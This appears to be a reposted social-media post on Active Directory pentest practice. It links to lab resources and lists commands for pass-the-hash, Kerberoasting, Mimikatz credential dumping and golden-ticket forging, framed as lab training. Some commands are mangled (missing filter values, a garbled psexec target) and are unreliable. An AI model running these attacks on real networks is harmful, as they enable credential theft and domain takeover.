Whether you are preparing for a certification or need to sharpen your skills for pentesting, here are some valuable resources to help you practice:
👉 Set up an AD home lab with this blog post from spookysec:
https://lnkd.in/eN8V88kv
👉 Automated Vulnerable AD Lab Setup by WazeHell:
https://lnkd.in/evJZM_yv
👉 Azure Active Directory Attack Scenarios by Cloud-Architekt:
https://lnkd.in/eDb7JJAQ
👉 Comprehensive AD Pentest Resources by Julien Provenzano ☁:
https://lnkd.in/ePgnhbUk
👉 Active Directory Exploitation Cheat Sheet by Integration-IT:
https://lnkd.in/eY2jD3nv
You Should Know: Essential AD Pentest Commands & Techniques
1. Setting Up a Lab
If you’re using Windows Server for AD lab setup, these commands will help:
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Install-ADDSForest -DomainName "lab.local" -InstallDNS
For Kali Linux attackers, ensure tools like Impacket are installed:
sudo apt update && sudo apt install impacket-scripts
2. Enumeration
Use PowerShell for AD enumeration:
Get-ADUser -Filter -Properties | Select-Object Name,SamAccountName Get-ADGroup -Filter | Select-Object Name
With Impacket on Linux:
python3 bloodhound.py -d lab.local -u user -p 'Password123' -gc DC.lab.local -c All
3. Exploitation
Pass-the-Hash Attack:
python3 psexec.py LAB/[email protected] -hashes :NTLM_HASH
Kerberoasting:
python3 GetUserSPNs.py lab.local/user -dc-ip 10.0.0.1 -request
4. Post-Exploitation
Dumping Hashes with Mimikatz:
sekurlsa::logonpasswords
Golden Ticket Attack:
python3 ticketer.py -nthash NTLM_HASH -domain-sid S-1-5-21... -domain lab.local Administrator
What Undercode Say
Active Directory remains a prime target for attackers due to misconfigurations and weak security practices. Mastering AD pentesting requires hands-on practice in a controlled lab environment.
Key Takeaways:
- Always test in isolated environments.
- Understand Kerberos, NTLM, and LDAP protocols.
- Use BloodHound for visualizing attack paths.
- Regularly audit Group Policy Objects (GPOs).
Expected Output:
A well-documented penetration test report, including:
- User privilege escalations
- Misconfigured ACLs
- Vulnerable service accounts
- Recommended remediation steps
Keep learning, stay ethical, and secure AD environments! 🚀
References:
Reported By: Ouardi Mohamed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
